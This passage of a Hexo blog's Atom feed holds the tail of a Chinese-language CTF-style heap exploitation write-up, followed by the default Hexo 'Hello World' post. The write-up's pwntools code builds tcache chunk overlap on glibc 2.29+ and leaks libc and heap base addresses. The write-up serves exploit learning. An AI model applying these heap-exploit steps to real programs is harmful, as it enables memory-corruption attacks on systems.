#a-&gt;c-&gt;b   for i in range(7):      add(0x28,&#39;tcache&#39;)# 53,54,60,62,63,64,65   add(0x28,&#39;\x10&#39;) # 53-&gt;66  a## stashed ##   add(0x28,&#39;\x10&#39;) # 54-&gt;67  b   add(0x28,b&#39;a&#39; * 0x20 + p64(0x240)) # 60-&gt;68  c   0220   gdb.attach(io)   delete(61)  #d</code></pre><h2 id="4-泄露"><a href="#4-泄露" class="headerlink" title="4.泄露"></a>4.泄露</h2><p>delete(61)  #d 后形成了overloap</p><p>利用堆重叠进行泄露</p><pre><code>add(0x140,&#39;pass&#39;) # 61show(56)libc_base = u64(sh.recv(6).ljust(0x8,&#39;\x00&#39;)) - libc.sym[&quot;__malloc_hook&quot;] - 0x10 - 0x60log.success(&quot;libc_base:&quot; + hex(libc_base))__free_hook_addr = libc_base + libc.sym[&quot;__free_hook&quot;]add(0x28,&#39;pass&#39;) # 69&lt;-56add(0x28,&#39;pass&#39;) # 70&lt;-57delete(70)delete(69)show(56)heap_base = u64(sh.recv(6).ljust(0x8,&#39;\x00&#39;)) - 0x1A0log.success(&quot;heap_base:&quot; + hex(heap_base))</code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;在2.29的版本后加入了这样的防护&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr (&amp;quot;corrupted size vs. prev_si</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>Hello World</title>
    <link href="http://example.com/2022/10/01/hello-world/"/>
    <id>http://example.com/2022/10/01/hello-world/</id>
    <published>2022-10-01T09:33:18.637Z</published>
    <updated>2020-11-29T14:39:22.601Z</updated>
    
    <content type="html"><![CDATA[<p>Welcome to <a href="https://hexo.io/">Hexo</a>! This is your very first post. Check <a href="https://hexo.io/docs/">documentation</a> for more info. If you get any problems when using Hexo, you can find the answer in <a href="https://hexo.io/docs/troubleshooting.html">troubleshooting</a> or you can ask me on <a href="https://github.com/hexojs/hexo/issues">GitHub</a>.</p><h2 id="Quick-Start"><a href="#Quick-Start" class="headerlink" title="Quick Start"></a>Quick Start</h2><h3 id="Create-a-new-post"><a href="#Create-a-new-post" class="headerlink" title="Create a new post"></a>Create a new post</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo new <span class="string">&quot;My New Post&quot;</span></span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/writing.html">Writing</a></p><h3 id="Run-server"><a href="#Run-server" class="headerlink" title="Run server"></a>Run server</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo server</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/server.html">Server</a></p><h3 id="Generate-static-files"><a href="#Generate-static-files" class="headerlink" title="Generate static files"></a>Generate static files</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo generate</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/generating.html">Generating</a></p><h3 id="Deploy-to-remote-sites"><a href="#Deploy-to-remote-sites" class="headerlink" title="Deploy to remote sites"></a>Deploy to remote sites</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo deploy</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/one-command-deployment.html">Deployment</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Welcome to &lt;a href=&quot;https://hexo.io/&quot;&gt;Hexo&lt;/a&gt;! This is your very first post. Check &lt;a href=&quot;https://hexo.io/docs/&quot;&gt;documentation&lt;/a&gt; for</summary>
      
    
    
    
    
  </entry>
  
</feed>
